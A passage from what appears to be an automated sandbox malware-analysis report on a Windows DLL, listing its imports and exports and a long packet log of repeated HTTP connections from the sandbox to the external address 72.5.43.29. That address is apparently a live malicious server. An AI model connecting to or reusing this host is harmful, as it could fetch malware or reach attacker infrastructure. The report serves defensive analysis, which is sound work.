TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, ExitProcess, GetModuleHandleExW, GetModuleFileNameA, GetACP, GetStdHandle, GetFileType, LCMapStringW, FindClose, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetStringTypeW, SetStdHandle, GetSystemInfo
ADVAPI32.dll	SystemFunction036, GetUserNameW, RegQueryValueExW, RegOpenKeyExW, RegEnumKeyExW, RegCloseKey
SHELL32.dll	SHGetFolderPathW
ole32.dll	CoTaskMemFree
WS2_32.dll	gethostbyname, inet_ntoa, gethostname, WSAStartup, WSACleanup

Exports

Name	Ordinal	Address
DllGetClassObject	1	0x180001dd0
DllRegisterServer	2	0x180001e90
DllRegisterServerEx	3	0x180001e70
DllUnregisterServer	4	0x180001e90
Start	5	0x180001ea0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2024 05:29:33.269249916 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:33.274693966 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:33.274800062 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:33.274914026 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:33.279867887 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:33.979973078 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:33.980271101 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.005033016 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.009998083 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.220612049 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.220681906 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.220717907 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.220886946 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.220886946 CEST	49730	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.225718021 CEST	80	49730	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.240308046 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.245285034 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.245497942 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.245693922 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.245729923 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.250644922 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.250674963 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.934056044 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.934271097 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:34.934266090 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.934367895 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.934875011 CEST	49731	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:34.939773083 CEST	80	49731	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:40.262680054 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.267611027 CEST	80	49734	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:40.267688990 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.267796040 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.272568941 CEST	80	49734	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:40.952701092 CEST	80	49734	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:40.952778101 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.952873945 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.953321934 CEST	80	49734	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:40.953386068 CEST	49734	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:40.958719969 CEST	80	49734	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:44.107410908 CEST	49739	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:44.113042116 CEST	80	49739	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:44.113148928 CEST	49739	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:44.115083933 CEST	49739	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:44.122937918 CEST	80	49739	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:44.861294031 CEST	80	49739	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:44.861335039 CEST	80	49739	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:44.861507893 CEST	49739	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:44.861507893 CEST	49739	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:44.868509054 CEST	80	49739	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:51.919011116 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:51.927071095 CEST	80	49740	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:51.927294970 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:51.927395105 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:51.934935093 CEST	80	49740	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:52.612926960 CEST	80	49740	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:52.613033056 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:52.613104105 CEST	80	49740	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:52.613131046 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:52.613173962 CEST	49740	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:52.618123055 CEST	80	49740	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:59.232140064 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.237518072 CEST	80	49741	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:59.237627983 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.237814903 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.242794037 CEST	80	49741	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:59.983433962 CEST	80	49741	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:59.983483076 CEST	80	49741	72.5.43.29	192.168.2.4
Aug 15, 2024 05:29:59.983530045 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.983584881 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.983695984 CEST	49741	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:29:59.988517046 CEST	80	49741	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:05.778851032 CEST	49742	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:05.784225941 CEST	80	49742	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:05.784548998 CEST	49742	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:05.784789085 CEST	49742	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:05.789707899 CEST	80	49742	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:06.497452021 CEST	80	49742	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:06.497545004 CEST	80	49742	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:06.497894049 CEST	49742	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:06.498034954 CEST	49742	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:06.503340960 CEST	80	49742	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:10.696465969 CEST	49743	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:11.127252102 CEST	80	49743	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:11.127464056 CEST	49743	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:11.127800941 CEST	49743	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:11.133003950 CEST	80	49743	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:11.870028973 CEST	80	49743	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:11.870117903 CEST	80	49743	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:11.870336056 CEST	49743	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:11.870537043 CEST	49743	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:11.875643015 CEST	80	49743	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:17.872545004 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:17.878071070 CEST	80	49744	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:17.878437042 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:17.878631115 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:17.883770943 CEST	80	49744	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:18.681452036 CEST	80	49744	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:18.681544065 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:18.681659937 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:18.681811094 CEST	80	49744	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:18.681886911 CEST	49744	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:18.686856985 CEST	80	49744	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:22.325506926 CEST	49746	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:22.331505060 CEST	80	49746	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:22.331760883 CEST	49746	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:22.332113028 CEST	49746	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:22.337940931 CEST	80	49746	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:23.027292967 CEST	80	49746	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:23.027436018 CEST	80	49746	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:23.027654886 CEST	49746	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:23.027941942 CEST	49746	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:23.038307905 CEST	80	49746	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:27.342283964 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:27.347758055 CEST	80	49747	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:27.348023891 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:27.348251104 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:27.353563070 CEST	80	49747	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:28.034893036 CEST	80	49747	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:28.034951925 CEST	80	49747	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:28.035130024 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:28.035130024 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:28.035370111 CEST	49747	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:28.040508986 CEST	80	49747	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:34.997411013 CEST	49748	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:35.003875017 CEST	80	49748	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:35.003959894 CEST	49748	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:35.004123926 CEST	49748	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:35.009092093 CEST	80	49748	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:35.739840984 CEST	80	49748	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:35.739895105 CEST	80	49748	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:35.740127087 CEST	49748	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:35.740250111 CEST	49748	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:35.745163918 CEST	80	49748	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:42.546958923 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:42.552192926 CEST	80	49749	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:42.552293062 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:42.552580118 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:42.557459116 CEST	80	49749	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:43.317878962 CEST	80	49749	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:43.317981958 CEST	80	49749	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:43.318084002 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:43.318084955 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:43.318084955 CEST	49749	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:43.322997093 CEST	80	49749	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:47.264909029 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.270044088 CEST	80	49750	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:47.270128965 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.270389080 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.275247097 CEST	80	49750	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:47.982248068 CEST	80	49750	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:47.982321024 CEST	80	49750	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:47.982424021 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.982424021 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.982641935 CEST	49750	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:47.987519026 CEST	80	49750	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:53.360039949 CEST	49751	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:53.365251064 CEST	80	49751	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:53.365325928 CEST	49751	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:53.365479946 CEST	49751	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:53.370341063 CEST	80	49751	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:54.186480045 CEST	80	49751	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:54.186538935 CEST	80	49751	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:54.187537909 CEST	49751	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:54.187537909 CEST	49751	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:54.192544937 CEST	80	49751	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:57.655215025 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:57.660356045 CEST	80	49752	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:57.660521030 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:57.660660028 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:57.665530920 CEST	80	49752	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:58.502275944 CEST	80	49752	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:58.502378941 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:58.502383947 CEST	80	49752	72.5.43.29	192.168.2.4
Aug 15, 2024 05:30:58.502439022 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:58.502482891 CEST	49752	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:30:58.507471085 CEST	80	49752	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:03.686496019 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:03.691768885 CEST	80	49753	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:03.691956043 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:03.692082882 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:03.697720051 CEST	80	49753	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:04.396198988 CEST	80	49753	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:04.396294117 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:04.396382093 CEST	80	49753	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:04.396395922 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:04.396611929 CEST	49753	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:04.401302099 CEST	80	49753	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:09.564569950 CEST	49754	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:09.569849968 CEST	80	49754	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:09.576457024 CEST	49754	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:09.576457977 CEST	49754	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:09.581794024 CEST	80	49754	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:10.262981892 CEST	80	49754	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:10.263036966 CEST	80	49754	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:10.263356924 CEST	49754	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:10.263356924 CEST	49754	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:10.268354893 CEST	80	49754	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:13.719933033 CEST	49755	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:13.726579905 CEST	80	49755	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:13.727725983 CEST	49755	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:13.727726936 CEST	49755	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:13.734416008 CEST	80	49755	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:14.442205906 CEST	80	49755	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:14.442259073 CEST	80	49755	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:14.443749905 CEST	49755	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:14.443749905 CEST	49755	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:14.455480099 CEST	80	49755	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:18.139801979 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.145092964 CEST	80	49756	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:18.145576954 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.145819902 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.150986910 CEST	80	49756	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:18.832154989 CEST	80	49756	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:18.832245111 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.832317114 CEST	80	49756	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:18.832336903 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.832371950 CEST	49756	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:18.838186026 CEST	80	49756	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:23.772468090 CEST	49757	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:23.777694941 CEST	80	49757	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:23.785537004 CEST	49757	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:23.815515041 CEST	49757	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:23.820420980 CEST	80	49757	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:24.486062050 CEST	80	49757	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:24.486126900 CEST	80	49757	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:24.487417936 CEST	49757	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:24.489299059 CEST	49757	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:24.494183064 CEST	80	49757	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:31.533363104 CEST	49758	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:31.538618088 CEST	80	49758	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:31.541568995 CEST	49758	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:31.541568995 CEST	49758	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:31.546421051 CEST	80	49758	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:32.238486052 CEST	80	49758	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:32.238775969 CEST	80	49758	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:32.238908052 CEST	49758	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:32.239073038 CEST	49758	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:32.244012117 CEST	80	49758	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:35.733984947 CEST	49759	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:35.739023924 CEST	80	49759	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:35.739289045 CEST	49759	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:35.741480112 CEST	49759	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:35.746520996 CEST	80	49759	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:36.428111076 CEST	80	49759	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:36.428220987 CEST	80	49759	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:36.428417921 CEST	49759	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:36.428574085 CEST	49759	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:36.433471918 CEST	80	49759	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:40.140402079 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.150460958 CEST	80	49760	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:40.152584076 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.152585030 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.157433987 CEST	80	49760	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:40.844693899 CEST	80	49760	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:40.844746113 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.844882965 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.846036911 CEST	80	49760	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:40.846075058 CEST	49760	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:40.849863052 CEST	80	49760	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:46.391428947 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:46.397712946 CEST	80	49761	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:46.401484013 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:46.401648998 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:46.406480074 CEST	80	49761	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:47.087104082 CEST	80	49761	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:47.087157965 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:47.087304115 CEST	80	49761	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:47.087333918 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:47.087353945 CEST	49761	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:47.092134953 CEST	80	49761	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:52.718504906 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:52.723617077 CEST	80	49762	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:52.723754883 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:52.723887920 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:52.729849100 CEST	80	49762	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:53.413911104 CEST	80	49762	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:53.413964033 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:53.414063931 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:53.415081024 CEST	80	49762	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:53.415122986 CEST	49762	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:53.419702053 CEST	80	49762	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:56.453417063 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:56.458393097 CEST	80	49763	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:56.461515903 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:56.461824894 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:56.466664076 CEST	80	49763	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:57.147458076 CEST	80	49763	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:57.147491932 CEST	80	49763	72.5.43.29	192.168.2.4
Aug 15, 2024 05:31:57.147559881 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:57.147644997 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:57.147671938 CEST	49763	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:31:57.152513027 CEST	80	49763	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:03.001056910 CEST	49764	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:03.006068945 CEST	80	49764	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:03.006161928 CEST	49764	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:03.006439924 CEST	49764	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:03.011220932 CEST	80	49764	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:03.708177090 CEST	80	49764	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:03.708194971 CEST	80	49764	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:03.709697962 CEST	49764	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:03.709697962 CEST	49764	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:03.714634895 CEST	80	49764	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:09.624260902 CEST	49765	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:09.629275084 CEST	80	49765	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:09.631849051 CEST	49765	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:09.635644913 CEST	49765	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:09.640527964 CEST	80	49765	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:10.347987890 CEST	80	49765	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:10.348098993 CEST	80	49765	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:10.348242044 CEST	49765	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:10.348429918 CEST	49765	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:10.353210926 CEST	80	49765	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:12.609469891 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:12.614554882 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:12.614625931 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:12.614826918 CEST	49766	80	192.168.2.4	72.5.43.29
Aug 15, 2024 05:32:12.619661093 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:13.419794083 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:13.419852972 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:13.419862032 CEST	80	49766	72.5.43.29	192.168.2.4
Aug 15, 2024 05:32:13.419863939 CEST	49766	80	192.168.2.4	72.5.43.29
